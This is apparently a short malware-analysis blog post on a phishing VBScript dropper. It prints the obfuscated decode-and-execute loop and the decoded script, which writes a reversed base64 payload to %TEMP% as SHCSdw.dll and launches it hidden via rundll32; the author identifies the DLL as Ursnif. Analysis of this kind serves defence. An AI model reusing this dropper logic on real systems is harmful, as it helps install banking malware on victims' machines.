Here is my first post of a short investigation into a malicious script that I came across.
The sample was posted to the URLhaus.abuse.ch list. This is probably part of a phising mail which directs you to download the zip file and open it.
When you do this, the VisualBasic script inside the zip archive will typically be launched and the encoded payload will be executed on the system.
After unzipping we can have a first look at the .vbs script
The malicious script:
- A large string ending in "AAAAMAAQqVT" I'm already assuming a reversed PE executable, when you base64 encode the MZ header it results in something like TVxx.
- Two arrays
- A short code block to decode the array's in something useful
for tzZFStIadHqvhzdvlvlbpEXDSYhoiHcgeDgEKN = lbound(wGPjfJzXJQxGLsJWnaUekdibWhoIi) to ubound(dVMYfYdJEGreGsr) : YVlUhhqxZMAvjAYHiFNxxrkWWvzkbiFf = chr(sqr(wGPjfJzXJQxGLsJWnaUekdibWhoIi(tzZFStIadHqvhzdvlvlbpEXDSYhoiHcgeDgEKN)) - sqr(dVMYfYdJEGreGsr(tzZFStIadHqvhzdvlvlbpEXDSYhoiHcgeDgEKN))) : HoVEFmZZVAZqcifFckqTROBxVyUmGActyC = HoVEFmZZVAZqcifFckqTROBxVyUmGActyC & YVlUhhqxZMAvjAYHiFNxxrkWWvzkbiFf : next : execute(HoVEFmZZVAZqcifFckqTROBxVyUmGActyC)
A little rewriting and making it saver by echo the output instead of execute it, results in the following VBS code :
for Value = lbound(ArrayOne) to ubound(ArrayTwo)
Result = chr(sqr(ArrayOne(Value)) - sqr(ArrayTwo(Value)))
ConcatResult = ConcatResult & Result
Running this result in the following script.
on error resume next
set WshShell = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
Path = WshShell.ExpandEnvironmentStrings("%TEMP%") & "\Adobe.url"
set oUrlLink = WshShell.CreateShortcut(Path)
oUrlLink.TargetPath = "http://adobe.com"
if (FSO.FileExists(Path)) Then
xml = "Msxml2.DOMDocument"
ws = "WScript.Shell"
bin = "bin.base64"
sa = "shell.application"
bs = "base64"
db = "Adodb.Stream"
Set wshs = createobject(ws)
Set sh = createobject(sa)
filepath = wshs.ExpandEnvironmentStrings("%TEMP%") & "\SHCSdw.dll"
Set oXML = CreateObject(xml)
Set oNode = oXML.CreateElement(bs)
oNode.dataType = bin
oNode.text = strreverse(code)
Set BinaryStream = CreateObject(db)
BinaryStream.Type = 1
sh.ShellExecute "cmd.exe", "/c everybody shit fuck & runDll32 "& filepath &",DllRegisterServer", "", "open", 0
The script places a Adobe.url in the temp folder pointing to
and it like I already suspected does a string reverse on the code variable - strreverse(code)
passing this via the base64 decoder resullts in a PE executable on the filesystem in your temp folder with the name SHCSdw.dll
The dropped file SHCSdw.dll is a Ursnif sample that was compiled at 2020-02-24 09:57:57, if you can believe this data. The sample is available in Virustotal.
||Zip archive data
||PE32 executable (DLL)